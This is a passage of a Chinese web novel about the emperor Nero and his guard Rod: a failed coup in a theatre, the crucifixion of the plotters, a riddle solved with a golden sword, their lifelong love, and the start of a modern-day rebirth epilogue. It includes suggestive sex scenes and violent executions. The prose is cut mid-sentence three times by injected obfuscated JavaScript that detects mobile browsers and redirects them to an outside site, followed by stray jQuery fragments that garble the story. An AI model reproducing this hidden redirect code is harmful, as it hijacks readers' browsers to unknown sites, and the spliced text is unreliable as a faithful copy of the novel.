终其一生都冷峻镇定的罗德,终于受不住这一句话,转过身,走到姿势狼狈的皇帝身边。
他微微俯身,看到他近乎血肉模糊的下巴,郁闷地说:“你的下巴……”
尼禄象复活一样弹跳起来,拦腰抱住他,戴着金戒指的手指死死攥住他的衣服。
“这几个月我都快疯了……”尼禄紧紧箍着他的腰。两人拐进黑暗的街角。
相持中,罗德的脊背撞上一片马赛克墙壁。
尼禄抬起一只手掌,垫到罗德的头发后面,黏着泪液的脸埋进他的颈窝。他浑身发热,象无处宣泄似的,冲罗德的脖颈咬一口,不重也不轻。
“你躲到哪里了……”尼禄说,“我搜遍罗马,打捞队一直探到洪水的水底,关于你的一切都没有任何线索。这段时间我每天都生不如死……”
罗德感到一阵疲惫,淡淡地说道:“我在海上。”
尼禄怔愣,想到剧场里的那个一身海腥味的粗短脖,敏感易妒的他双眼充血,“你一直和他待在一起,却不肯回应每天在皇宫里发疯的我……”
“他救了我,帮我治伤。”罗德说,“算得上是对我有恩的朋友。”
尼禄阴郁地说:“我不想你有什么朋友。”
罗德抬起疲惫的眉目,瞧他一眼。
“跟我回去。”他盯着罗德的黑眼睛,“我把一切都准备好了。你的官职,你嘱托我的金剑,还有你的床,以后你每晚都要和我睡在一张床上……”
罗德正色道:“金剑?你没毁了它?”
“知道我为什么不毁了它吗?”尼禄以接近崩溃的声音说,“因为我不想承认那是你留给我的遗言!我不想承认你死了!”
罗德的呼吸停滞了一瞬间。
尼禄箍着他的力度越来越大,“用铁水熔掉它,等于我接受你死去的事实。你知道吗,我已经做好一辈子都让近卫军搜城的打算,因为那样会让我觉得你还在我的人生里,你还活着。”
他感到莫大的委屈,“你为什么不来找我……”
罗德闭上眼睛,半晌后再睁开,眼里有浓稠的情绪,“我是一个充满争议的人,你又暴露过为我违抗一切的特质。我的归来,势必引起恐慌,尤其是现在你刚刚登上王座,更别说万一有一天,我母亲的身份再被人揭发……”
他看着远处神庙上空的圣火,“早在身份被举报的那一天,我就应该离开。你是风险的接受者,有资格说不在乎;但我是施加者,不配说这句话。之前你挽留过我无数次,甚至不惜自残,我都回头了……”
尼禄苦笑一声,明知故问:“那你这次为什么又回头了?”
“因为我爱你,我爱你!你这个该死的家伙!”罗德挣开他,转身背过去,“你为什么在我马上就能下定决心之前找到我,你这个阴险的混蛋!”
尼禄往前一步,双手搭上他颤动的肩膀。
罗德用手背挡住眼睛,语气转而温柔下来:“我太想你了,尼禄……”
“我更想你。”尼禄说。他抵上罗德背后,嗓音低哑地说:“感受到我有多想你了吗……罗德,你感受到了吗,在剧场里看到你的第一眼我就……”
罗德侧过脸,他贴上去。他们在黑暗的街角里交换一个漫长而火热的吻。
一只巨大的火球爆裂在剧场上空,照亮所在的街角。一阵巨响随即传出,震得地面晃动,窗户玻璃嗡嗡作响。
罗德瞬间回过神,推开已经不大清醒的尼禄,“剧场有动静,我们得过去看看。”
尼禄腻歪地说:“那只是火焰表演……”
“不是。”罗德凝重地说,“这声巨响给我的感觉,和拉丁姆的火灾一样。”
……
剧场里乱成一片。
海战表演的海船一片火光,甲板上的投石器往观众席投射带火的石头。席位上已经横着不少尸体,皇帝专用的遮阳篷早就倒坍,烧焦一滩。
木板搭成的船身破开很多大孔,孔里面源源不断地跳出全副武装的士兵。
近卫军在高处往下射箭,射中几名从船里爬出来的士兵。
罗德和尼禄刚一踏进剧场,一根箭就带着火嗖地插进脚边的沙地。
奴隶和贵族都在抱头逃命,有的从高层跳下来摔进人工湖。空气里有烧焦的气味,整个剧场象一锅被煮焦的粥。
罗德的视线掠过飞来飞去的火石和箭,看见侧歪在人工湖的船只。几个黑甲的士兵从船身的孔中钻出,象钻在木头里的蛀虫。
他抬手一指,在噪声里抬高声音说:“这里希腊史诗里的战术,木马屠城的计谋。”
尼禄揪过一个正在逃窜的平民,大声问道:“怎么回事?”
平民瞅见他袖口上皇宫专用的紫条纹,哆哆嗦嗦地说:“海……海战表演,船肚子里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239683|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
藏着好多士兵,他们朝观众席丢火石……”
尼禄十分惊诧,松开平民的领口,脸色阴鸷,看向为数不多的还在投石的士兵。
一名皮甲破损的近卫提着剑过来,看见皇帝受伤的下巴时先是惊异一下,再接着单膝下跪,“这些士兵从藏身的船身里出来,第一件事就是用投石器攻击您专用的席位。幸好当时您不在……”
罗德即刻紧绷起来,“有人想谋反。”
“他们注定会失败。我们近卫军的数量远远超过这些谋反的士兵,他们的作战能力也不强,唯一值得忌惮的就只有投石器。”近卫接道。
尼禄望向罗德,“我今晚在剧场布置了不少近卫军,就是为了找你。没想到正巧碰上这件事……”
他指向不远处正对舞台的专用席位,眼光深邃,“要是没有你,罗德,今天晚上我一定会被突然飞来的火石砸死或烧死,临死前或许还为精彩的海战而鼓掌。水是我的祸源,神谕一点没错。”
飞散的火光将罗德的脸照得忽明忽暗。他一脸严肃,“那边有多少士兵?”
“不多,不到两百个。”近卫说,“现在已经被我们杀掉一大半,还活着的只有几十个。”
“不要全部杀死。”罗德正色道,“留下几个,问出这场木马计的谋划者是谁。”
尼禄思索着,“不用问了,我知道是谁……”
他的表情逐渐凶戾,“是尤利乌斯。他主掌罗马城中央的兵力,而且全罗马境内,就只有他一个人没交传令节,有能力调动士兵。”
一颗滚动的火石朝这边飞来,猛地砸中旁边的贵族席位,挂着丝帘的席位随即燃着。
“封锁剧场!”罗德在浓烟中掩住口鼻,“杀死那几十个推着投石器的士兵。”
近卫军接到命令,提着剑退下了。
灰红色的浓烟里,罗德抓着尼禄的手腕,从雕刻着女神像的拱门里走出来。
坑坑洼洼的街道上,尽是从剧场逃生的人,有的还背着亲人的尸体,四下里隐约有妇女的哀嚎声。
“这是一场必输的谋反,表演用的海船装不了多少人。尤利乌斯知道这一点,不过他的目标也简单,杀死你一个人就够了。”罗德冷静分析道。
尼禄眼露凶光,“放弃一支下等战斗力的军队,去西西里安度晚年。他明明有更聪明的选择,我不明白他为什么要弑君。”
“动机很奇怪。”罗德说,“即使杀死了你,他也会因为弑君的罪行被钉死在十字架上,就象我的舅舅一样……”
听到他提到泰勒斯,尼禄神情微变,刚想张口说些什么。
嘭一声巨响,一个裹着丝绸的人从剧场的上层摔到地上,就在两人旁边。他痛苦地呻│吟着,身体扭曲,胯骨似乎断了。夜色里这个人黯淡的金发发出沉闷的光泽。
罗德觉得这个人很眼熟,辨认了一会,诧异地说:“……门希!”
尼禄表现得还要激动一些。他走过去,用铁底的靴子踩住这人的肩,翻过来看到了一张熟悉的脸,尽管已经满脸是血。
“他怎么还能穿昂贵的丝绸。”尼禄声色狠戾,“明明已经是人人喊打的通缉犯了。”
门希意识昏迷,嘴里不停地哼哼。
尼禄嫌恶地看着他,忽然用鞋底提起他的袖口。一道烫烙得很规整的家印露出来。
“他卖身为奴了。”罗德看着那道家印说,“而且主人是尤利乌斯。”
尼禄将碰过门希的鞋底在地上摩擦几下,面色不善地说:“怪不得一直没能搜捕到他,原来成了一个私人财产。”
他叫来一名近卫,指着地上扭曲如虫子的门希,命令道:“给他找医生,不要让他现在就死。”
67. 谜底和金剑
这场荒唐的造反当晚就被近卫军镇压。他们逮捕了所有还活着的士兵,在确认叛乱的主谋后,将他们全部诛杀。
近卫军闯入尤利乌斯的家宅时,尤利乌斯已经吞下一块沉甸甸的金块。
重重包围下的别墅里,尤利乌斯看见拿着兵器的近卫军向他走来,意识到行动失败,脸上露出释然的表情。
近卫军用铁锁链捆着他。穷途末路的他没有反抗,开口第一句话就是:“门希呢?”
一个近卫军凶神恶煞地说道:“他被皇帝亲自逮捕了。”
尤利乌斯苍老的肿眼泡流露出悲哀,“完了……我不想让他凄惨地死去。”
近卫军扣好铁锁,凶悍地说:“你先顾及自己该怎么死吧。”
尤利乌斯叹着气,长期饮酒作乐而形成的肿胀眼睑,流出浑浊的眼泪。他知道无论今晚能否成功,他和门希都会死。唯一能做的,就是给自己争取一个舒服的死法。
他哗啦啦流着眼泪,开始挣扎,“我想再和门希见一面……我们约好一起吞金自尽,结果他走了……”
近卫军押着他往外走,将他送上囚车,凶恶地说:“你们会在相邻的十字架上见面。”
……
门希在几个医生的抢救下,被留下一条命。
精读历史和军事战术的他,为尤利乌斯谋划了木船藏兵的计划,目的是在海战表演时,直取距离舞台最近的皇帝的性命。
他们两人约好,在计划实施的这天晚上,一起吞金自杀。然而,门希临时变卦,趁着夜色偷溜出家门。
他想亲眼见证尼禄的死亡。可万万没想到,皇帝竟然不在席位。计划失败了。
因谋反的罪名,门希和尤利乌斯关押进地牢,三天后会被一起钉死在十字架上。
……
自从皇帝的亲卫回来,皇宫里的奴隶每天不再如履薄冰了。
清早,奴隶打开可以旋转的百叶窗,厨师把酸奶酪夹进大理石纹路的面包,鸡肉汤咕咕炖着。点熏香的女奴倒掉一夜剩余的烟灰,将新的乳香搁在窗台上。
“罗马的春天来了。”她看着窗外说。
家奴出现在发呆的女奴背后,训斥道:“主人很快就要起床了,快去仓库里拿洗脸用的橄榄油。”
他想了想,补充道:“再拿一些洗衣服用的皂角粉。”
女奴惊讶地说:“还要洗衣服吗?”
家奴偷瞥一眼卧室,看到主人紧闭的床帘,干咳两下说:“以后的床单,大概要每天一换……”
罗德在封闭的床帘里醒来。微微一侧脸,就看到一缕打着卷的银头发。
尼禄搂着他的腰,胸膛紧贴他的后背。赤条条的两人侧躺在一片狼藉的床上。
昨天,经历过小别的他们疯了一夜。
百叶窗形成的光影相间,透过薄薄一层床帘,光裸的两具身体与满床丝绸搅和一团。
罗德抬手,把尼禄压在自己胯上的腿拨下去。他在紧热的怀抱里翻过身,与还在沉睡的尼禄额头相抵。
尼禄呼吸均匀,高挺的鼻梁骨很有男人味。他的肩膀和后背有不少道鲜红的伤痕,这是昨夜罗德情到极致时抓出来的。
看到那些伤痕,罗德自己都很惊诧,去摸已经红肿的伤口。
指尖碰上皮肤的一瞬间,尼禄就睁开浅棕色的眼,毫不避讳地直视他。
罗德怔一下,说道:“你醒了?”
“在你的手碰上我的腿时,我就醒了。”尼禄声音嘶哑。
罗德轻轻按了按那片红肿的皮肤,问道:“疼吗?”
尼禄无谓地点点头,“有一点,不过我喜欢。”
他把罗德搂进怀里,一脸幸福地说:“你越是抓我,就说明你越不理智、越爱我。我爱死了昨晚你失控的样子,特别刺激我……”
罗德用两根指头捏住他的双唇,旋即又松开,“起床。我听到你的奴隶在打热水。”
“不急。”尼禄看着他的眼神变得深暗,“现在还很早,我想再做一次……”
罗德一只手臂撑起上半身,抓住他偷偷摸过来的手,“快起床。还记得吗,一个得体的贵族不应该在日落之前亲吻他的伴侣。你继位以来,以勤政著称。如果我的回归让你沉迷床帏,肯定会再次落人口实。”
尼禄狡黠一笑,将手扯到嘴边,亲吻他的手背,“都听你的。”
奴隶用托盘端着皇帝的新衣服走过来,轻摇床头的金铃铛,喊他们的主人起床,接着很识趣地离开卧室。
罗德将床帘拴在床柱上,看一眼托盘,皱了皱眉说:“他们只准备了你的衣服。”
尼禄走下床,拿起袋状的内衣套身上,面对落地铜镜胡乱系着腰带。
一丝|不挂的罗德到他身后,在铜镜里端详他肌肉饱满的双腿,精瘦却又充满少年的力量的腰,天生阴戾气的五官。
他们在铜镜里心照不宣地对视一眼。
罗德上前,替尼禄整理好内衣的褶皱,顿了顿,从背后抱住他,脸贴上他筋肉明显的肩胛。
尼禄转过身,满脸都是下一刻就要爆发的隐忍,推搡着把罗德按在床上。
“我体会到卡里古拉的心情了,他为什么会把自己的爱人锁在床头。”尼禄眼神幽暗,“我现在也好想这么做。”
罗德仰躺着,披散的黑发嵌进紫红色的丝绸里,皮肤泛起潮红。一听到卡里古拉,他的思绪清明一些,双手抵住压下来的肩膀,“尼禄,我的……”
“我明白你想说什么。”尼禄移开他抵抗的双手,“关于你的母亲,你的舅父,你的家族……下午我会带你去一个神庙,告诉你你应该知道的一切。”
他把刚刚拴好的床帘又重新拿下来,对罗德说:“我们就只做一次。”
……
两个多月的时间,庄园山下的洪水已经疏通得差不多。公用奴隶清理了被淹没的街道,扫净凝结的泥块。原本架在洪水上的木板桥也撤掉了。
尼禄带着罗德直接来到半山腰的神庙。
罗德穿着近卫军长官的高档皮甲,腰间别着那把尖牙形状的金剑。
在点满火把的地穴里,罗德看了母亲留给自己的信,以及曾被水泥灌注的深坑。
他阖上羊皮纸,背靠满是尘土的地下墙壁,面无表情,久久没有说话。
一直等候在旁边的尼禄,仔细打量他的脸色。因为上一辈的恩怨,他被迫产生一种愧疚感。
“罗德……”尼禄小心翼翼地开口。
罗德藏在光线的死角,在暗色中,没有说话。
尼禄满心担忧地凑过去,象一个做错事的孩子一样,拽住他的衣角,轻声唤他:“罗德,我知道我的舅父几乎害死了你的全家,但我没想到连你的母亲也……”
罗德忽然伸出食指,堵在他说话的嘴唇上。
“这件事我们之前就说过。”罗德说,“我们都是血缘的囚徒。”
他顺着那双浅棕色的眼睛,回想起前世在绝境中自杀的尼禄,以及被毒死的自己。
“我们欠给血缘的,已经还完了。”亲历过前世悲剧的他说,“没必
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239684|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要再搭上这辈子的幸福。”
尼禄鼻头发热,猛地抱住他……
两人在祭司和一队贞女的簇拥下,从地穴回到神庙的殿堂里。
在经过一幅长长的马赛克壁画时,罗德停住了。
壁画是潘多拉打开魔盒的场景。半裸的潘多拉一只手托举巨大的魔盒,另一只手拿着钥匙,正对魔盒的锁孔。
令人惊讶的是,魔盒用真正的黄金打造,整个突出,独立于马赛克壁画。
罗德走过去,敲击魔盒听声音,思索着说:“这个魔盒,里面是空的。”
他的手指来回抚过锁孔。锁孔有如半只手掌那么宽,“连锁孔都是真的。这个盒子能打开。”
“只是缺一把钥匙。”尼禄说。
视线从巨大的锁孔,慢慢挪到潘多拉白嫩的双手,继而是她刻画得完美的脸蛋。罗德的指肚传来水泥的冷意。
这一冷意如是神启,象神灵的箭羽一样击中他的心房。罗德的眼睛微微张大,“谁还记得卡里古拉留下的那个谜语?”
祭司连忙接话:“我还在维斯塔神庙时,保存了所有在维斯塔神庙做过祭祀仪式的人的墓志铭,都在一个羊皮纸本上,当然也包括这位皇帝的。大贞女茱莉娅被撤职后,这个本子又给我送了过来。”
他走进神庙的资料房,不久后拿着一个旧黄的本子出来,翻找半天,读道:
『我将毕生所得,藏入一个地方,一个谜一样的地方……』
『它在虚无的神话之中,又在现实的生活之内;
它在纯洁的信仰之中,又在愚人的罪恶之内;
它在美女的嫩手之中,又在坚硬的水泥之内;
总之,它在你的视野之中,却在你的眼睛之外。』
『无人知晓此地为何,我只告知我的挚爱。』
读毕,罗德和尼禄都沉默着。罗德用勾起的指节敲敲魔盒,说道:“所谓的谜语,就是这里。但知道谜底的泰勒斯,已经死了。”
尼禄寻思道:“只有泰勒斯知道谜底……”
他下意识去瞧系在罗德腰间的金剑。这是泰勒斯曾随身佩戴的剑,是他刺死卡里古拉的剑,也是他临终前嘱咐的遗言。
剑刃象一排形状怪异的尖牙,闪出瘆人的寒光,但也象……
他抬起头,看到黄金魔盒上的锁孔。
也象一个巨大的钥匙。
尼禄只觉得耳边有隐隐的雷电声,脱口而出:“金剑是钥匙。”
在一队人好奇的目光下,剑刃顺利没入锁孔,轻轻一转,藏匿在水泥里的机关嗒哒一响,魔盒彻底脱离壁画,慢慢打开。
魔盒里,是一只细颈的玻璃瓶。
罗德拿出瓶子,在眼前转了一圈。
玻璃瓶被蜡封口,瓶身已经落灰,显得很旧,瓶子里面装着少量的液体。
“这是什么?”他和尼禄异口同声地问道。问完,两人都愣一下,默默对望一眼。
熟悉葬礼的祭司答道:“这是泪瓶,是殉葬品,用来装逝者的亲人或爱人的眼泪,一般和逝者一起火葬。这样的话,等到亲人逝世后,会随泪瓶的指引回到逝者身边,在另一个世界一起展开新的生活。”
罗德转动着泪瓶,瓶内晶莹的液体晃动着,“泰勒斯死前让我毁了金剑,看来是想让这个泪瓶永远封禁在水泥墙里。”
尼禄盯着晃动的液体,“这里面装的是谁的眼泪,他又为什么要这么做呢。”
罗德放下泪瓶,淡然地说:“生命中总有那么几个永远解不开的秘密。”
68. 它是爱情
三天后,到了门希和尤利乌斯受刑的时间。
行刑的地点是远离罗马城中央的野外。
一排铁锈累累的十字架插在水泥座里。正午的太阳下,近卫军架起梯子,用起吊机吊起门希和尤利乌斯,将两人捆在高高的十字架上。
出于皇帝的命令,两人被绑在相对的十字架。他们将眼睁睁看见对方受尽折磨而死。
荆棘条缠住关节和腰身,上面的小刺没入皮肉,脚掌下垫着一块楔形木以支撑身体的重量,这样能延缓死亡的时间,制造更漫长的痛苦。
四下站立的近卫军,会一直看守到犯人死亡。
“才华和战术搏不过命运安排的巧合。”尤利乌斯气若游丝,“我们失败了……”
他吞过金,这几天毒性慢慢发作。再加上受刑,已经到了临终的时候。
门希的气色比尤利乌斯好一点。他的金发碧眼早就黯淡,象长期遭受风蚀的画像一样失去光彩。
晕白的日光下,他透过荒野的飞沙,艰难地睁开眼,望向尤利乌斯。
“你后悔吗,尤利乌斯。”门希神情复杂,“如果没有我的挑唆,你现在会在西西里的葡萄园里喝着美酒,而不是在这里受罪……”
“我不后悔……”尤利乌斯半闭着眼睛,“在答应你谋反的那一刻,我就预见了现在的结局。事到如今,唯一让我挂念的,就是你会比我更痛苦地死去……”
门希感到一阵胸闷,使尽浑身力气咆哮道:“你为什么要这么做?!你明明知道……我只是利用你啊……”
尤利乌斯笑道:“那天晚上,你阉割自己找上我时,我抱着戏玩初恋的心态接纳了你。后来和你相处久了,却又找回年轻时的感觉。我就象少年时的自己,又一次不可救药地喜欢上了你。你让我重焕生机……”
门希紧抿着嘴,脸上的肌肉微微抽搐。
“所以……”尤利乌斯费劲地说,“就算我知道必死无疑,也想在垂垂老矣的时候,象个年轻人一样为心爱的人博一把……”
门希嘴角抽搐,眼泪汹涌地流出,滴到自己的脚背上。
“你太愚痴了,尤利乌斯。”门希哽咽着,难过地说,“但我没有资格说你……我也很愚痴。为了两个已死之人,穷尽一生的爱和恨。更可悲的是,我永远都挤不进他们两人之间……”
尤利乌斯渐渐迷糊,视野开始发白,强撑意识说道:“命运不会因为不情愿就放我们一马的,门希。”
“是啊……”门希叹道,“我鄙夷阉奴,却不得不阉割自己成为阉奴。我一生憎恨泰勒斯,却和他落得同一个结局。”
他悲愤交加地说:“我厌恶什么,就得到了什么。”
尤利乌斯强睁着眼睛,因吞金而形成的腹中剧痛慢慢消失。他本着最后的意识,问道:“那么,你现在愿意纠正吗?门希。倘若有下一世,你还会象当初一样抛弃我吗……换句话说……你会选择我,还是卡里古拉?”
门希涕泗横流,满脸的悲痛,看着他即将关阖的眼睛,用酸涩的喉咙承诺道:“……你。”
尤利乌斯听到回答,嘴角浮现一丝笑意,彻底闭上眼睛。
……
尤利乌斯死后,尼禄掌握了从城中心到偏远行省的所有兵权。除了开国的奥古斯都,他是第一个形成绝对权力的帝王。
尼禄举办仪式,正式任命罗德为近卫军长官。有几个大胆的元老虽然表示反对,但因畏惧皇帝垄断性的大权,没敢弹劾得太厉害。
一切尘埃落定。
山顶的庄园里,此刻灯火通明。
撒满奶酪丝的烤鱼端上桌,焦黄色的鱼皮包着粉白的肉。奴隶拿着餐刀,扒开烤乳猪的脆皮,塞在肚里的坚果涌出来,冒着肉香味的热气。
厨师把一根长长的黑麦面包切段,分到三个银盘里。
尼禄举办了一场家庭内部的小型晚宴,只邀请了母亲阿格里皮娜。
阿格里皮娜罩着橘色的头纱,纱面粘着一颗颗黑色的珍珠。她侧卧着,姿势文雅,捏掉一小块面包,蘸了蘸鱼酱,放进嘴里。
“新厨师的手艺不错。”她咀嚼着说道。
尼禄一个人躺卧在主位沙发,仿佛啃蜡烛似的,啃着一根卷满烤夜莺鸟舌的卷饼。身形瘦削的他在空荡荡的沙发上,形单影只。
“瞧瞧你的样子,就象在吃一块嚼不动的石头。”阿格里皮娜说。
尼禄显得没什么精神,不咸不淡地回一句:“我不喜欢夜莺鸟舌,味道很腥,口感也很奇怪。”
“多吃夜莺鸟舌,对你的演讲和修辞有好处。”阿格里皮娜擦净指上的面包屑,“今后你应该学习恺撒,每顿餐食都要吃一点夜莺鸟舌。”
尼禄平淡地瞧她一眼,“我又不需要象他那样,为了收服兵权四处打仗,每次都要做煽动人心的演讲。”
阿格里皮娜端过一杯葡萄酒,嘴里还嚼着面包,若有所思,“我很好奇,也一直想问你,你是怎么让那一帮不轻易屈服的将军自愿交出兵权的?”
尼禄喝一口葡萄酒,“是高卢的雷珂带的头。他主动交出传令节,又帮我劝服日耳曼行省的总督。两大行省的军力都归服于我,出于忌惮,那些只拥有地方兵团的小将军自然就效仿他们。”
阿格里皮娜疑惑道:“雷珂为什么会主动交出权力?”
尼禄放下银杯,眼里有微不可见的柔情,“因为罗德。在高卢时,罗德救过他。”
阿格里皮娜了然地挑起眉,涂着胭脂虫浆液的指甲捏起银杯,喝掉银杯里的酒。
“新上任的近卫军长官呢?”她笑道,“为什么今晚他没一起过来?”
尼禄兴奋一下,很快又低落下去,“他说他不喜欢躺着吃饭。”
阿格里皮娜的视线扫到他脸上,嘴角勾着,摆出正经的表情,一本正经地调侃道:“真遗憾,本来我还想见见你的皇后,教他怎么做一个贤惠的配偶……”
正在喝酒的尼禄猛然呛到,咳了两声,苍白的肤色一瞬就红了,“我以为你不会接受我们……”
“一开始当然不能接受,但现在我倒挺喜欢他。”阿格里皮娜说。
尼禄来了精神,“为什么?”
他的母亲笑笑:“正是因为他,我们母子的关系缓和很多,不是吗?”
……
送走阿格里皮娜后,尼禄换掉油腻的衣服,简单洗漱一遍,才走进卧室。
雕花的大理石壁炉烧着火,火光跳跃在新修的马赛克壁画。四根雕有圣鸟和月桂叶的柱子支撑天花板的四角,镀金箔的蜡烛在柱子上亮着。
罗德点燃一盘肉豆蔻,宽松而洁白的系带内衣,遮到半截大腿。
尼禄放下丝布做成的门帘,视线粘在那截莹润的皮肤。
“你的母亲走了?”罗德吹灭点香的蜡烛。
尼禄走到他面前,一只手搅进浓密的黑发,另一只揽过他的腰,与自己的小腹贴到一起。
拇指指肚抚过他标志性的红唇。尼禄捧着罗德的脸,“你一直在卧室里吗?”
罗德点头,锋利的唇角翘起一个微弱的笑,“我在等你过来。”
尼禄收紧手臂,盯着他的黑眼睛,别有深意地问道:“等我过来做什么?”
罗德没说话,搂过他的颈项就吻上去。
新点的肉豆蔻时而忽闪时而黯淡。这种香料燃烧得最慢。
等到火苗到尽头,一丝垂直的烟往上冒,有淡淡的甘甜味。肉豆蔻燃尽了。
罗德额头一片汗珠,侧躺着。尼禄从背后抱紧他。
“尼禄……”罗德闭着眼睛,声音很轻,这个名字象梦话一样从鲜红的唇边溢出。
紧接着,他又低声唤一次:“尼禄……”
尼禄吻一下他的肩胛,问道:“怎么了?”
罗德沉寂一会,开口道:“没什么,就是想叫你的名字……我想你了。”
尼禄将他的腰箍得更紧,脸颊贴着他潮湿的后脑,“我就在这。”
他们休息一会。罗德走下床,莹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239685|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白的身体在火光中呈现出松脂的金黄色。
网格密织的木窗打开一道缝隙,一阵凉凉的风吹进来,扑在又红又热的双颊。
罗德趴在木质窗框上,顺着缝隙往外看。白漆般的月光下,山顶的草丛泛出一点嫩青色。
“罗马的春天要来了。”他发出最近很多罗马人都在发出的感慨,将木窗开得更大,往山下望去,“让你背负债务的洪水好象也退了。”
尼禄来到罗德身后,手移上他光滑的脊背,“洪水退了,山脚的商铺街正在修建,马上就能盈利。”
罗德不禁轻笑:“我要感谢那场洪水,是它救了我。如果当时,我跳下去遇到的不是水,而是硬邦邦的地面……”
尼禄神情绷一下,随即也趴上凉爽的木质窗框,一起和他往窗外望。月光照亮他们的嘴唇和下巴。
“洪水虽然让我身负重债,却救了你。谁能想到让我债务累累的祸事,居然在关键时刻救下我的爱人……所谓的福祸好坏,都是暂时的虚像罢了。”羊毛般的银发被凉风吹动,尼禄双目出神,感慨道。
罗德侧过眼睛,凝视尼禄很久,从灰银色的眉毛,到雀斑,再到尖瘦的下巴。他神色认真地说道:“你长大了,尼禄。”
尼禄也侧过脸,棕色的瞳仁有了成熟的神采,“因为有你。”
“我?”罗德疑道。
“对。”尼禄露骨地说,“你能让我彻底勃|起,罗德。不仅是身体的,你也让我完成精神上的勃|起。”
罗德莞尔。他牵过来尼禄的手,在手背上落下一吻。
“我爱你。”他的黑眼睛发着亮光,“我的卢修斯。”
……
作为帝国时代的第五位皇帝,尼禄终生没有娶妻,更没有生子。
四十岁那年,他在年老的阿格里皮娜的劝告下,将屋大维娅的小儿子过继为养子。算是对被她毒死的克劳狄乌斯的慰藉。
屋大维娅的小儿子继承了母亲在读书识字上的天赋,以及父亲的机灵劲儿。然而更幸运的,是这个孩子身体健康,没有遗传到母亲和外祖父的驼背。
和当年的尼禄一样,他也是奥古斯都的直系血脉,是公认的储君。
以勤政和亲民著称,尼禄无论在贵族还是平民间,风评都很好。唯一一处值得弹劾的,就是他和身份敏感的罗德的同性关系。
皇帝终生未娶,没有子嗣。在以生育为荣的罗马,引起过一些争议和嘲笑。但尽管如此,人们大多认为他是一位明君。
皇帝和他的亲卫形影不离、同床共枕,每天早晨在被窝里一起醒来,夜晚一起洗浴和入睡。
七十岁时,尼禄主动让位给养子,带着罗德一起移居到那不勒斯,在那里渡过晚年。
他们一起生活逾六十年。
直到有一天,鬓发苍白的罗德在睡梦中逝世。而那时的尼禄,因年老而心智时常回到年轻时候。罗德去世后不到三天,尼禄闹着要坐船去塞浦路斯买橄榄,结果吹了海风着了凉,最终微笑着在海上咽气。
“罗德,你来接我了……”这是他死前的最后一句话。
照顾尼禄一生的老家奴头发花白。他见证过尼禄和罗德从年轻到年老的所有风雨,在听到这句话时,不禁老泪纵横。
他们厮守一辈子,真正做到一生只爱一个人。
生死不可抗力。在命运的压制下,他们已经争取到了最大限度的自由。
新皇帝为他们举办一个奢华的葬礼,彼此的棺材放入他们在年轻时就准备好的泪瓶,两个骨灰盒葬入同一个墓穴。
墓穴前,竖起两块石碑,上面刻着他们给自己预留的墓志铭。
尼禄:
『有这么一个名词。它被人代代传颂,是超越宗教的信仰,是解救孤独的灵丹妙药,是解放人性里所有美好的源头,是两个灵魂打破肉|体的限制的前提。而这个名字却屡屡被肉│欲所盗用……』
罗德:
『它是爱情。』
(正文完)
69. 番外之上一辈的爱恨交织
几净的落地窗外,霓虹灯的光柱扫射在城市上空。
卡里古拉打开白塑料的百叶窗,西装笔挺,站在落地窗前。从窗叶间照进来的红红绿绿的灯光,映亮灰褐色的眼睛。
他端起一杯黑咖啡,小心呡一小口,还是被苦得皱起鼻子。
这种苦涩的饮料比不过掺蜂蜜水的葡萄酒,但周围人都在喝。为了适应这个古怪的饮料,他花了挺长时间。
半年前,他重生到这个新的世界。这里还叫罗马,但电视里的播报员通常还会加个前缀——“意大利首都”。
办公室的门扣响两声,他的秘书拿着一张资料纸进来,页眉印着“朱里亚集团”的标志。
这是他经营黄金珠宝的家族企业。重生后,他的身份是朱里亚集团的董事长,名字依然是前世的旧名:卡里古拉·日耳曼尼库斯。
“您说的那个叫泰勒斯的人现在就在前台。”秘书说,“他半年前从军队退役,一直没找到稳定的工作。电话里,他对保镖的职位表现得很感兴趣,即使是晚上也答应过来面试。我想他现在急需一份工作养活自己。”
卡里古拉看着应聘者的照片,充满阴戾气的眼目睁大,捏着资料纸的手在抖。
“赶快让他进来!”他情绪激动地说。
被他视为“公司的家奴”的秘书,疑惑地瞧他一眼,默默推开玻璃门出去了。
……
在一楼,泰勒斯一身宽松的黑色运动服,在讲究衣着的珠宝从业者当中,显得格格不入。
他长着罗马人典型的黑发黑眼,优越的鼻梁骨,沉峻的眉锋,宛如油画着色的鲜红嘴唇,五官极其立体和英俊。即使是见多识广的奢侈品行业的人,都会偷瞄这个衣着朴素的外来人。
此刻的泰勒斯跟着秘书,经过一排排钢化玻璃罩住的金饰和宝石,坐上神奇的电梯,来到最高层。秘书帮他打开玻璃门。
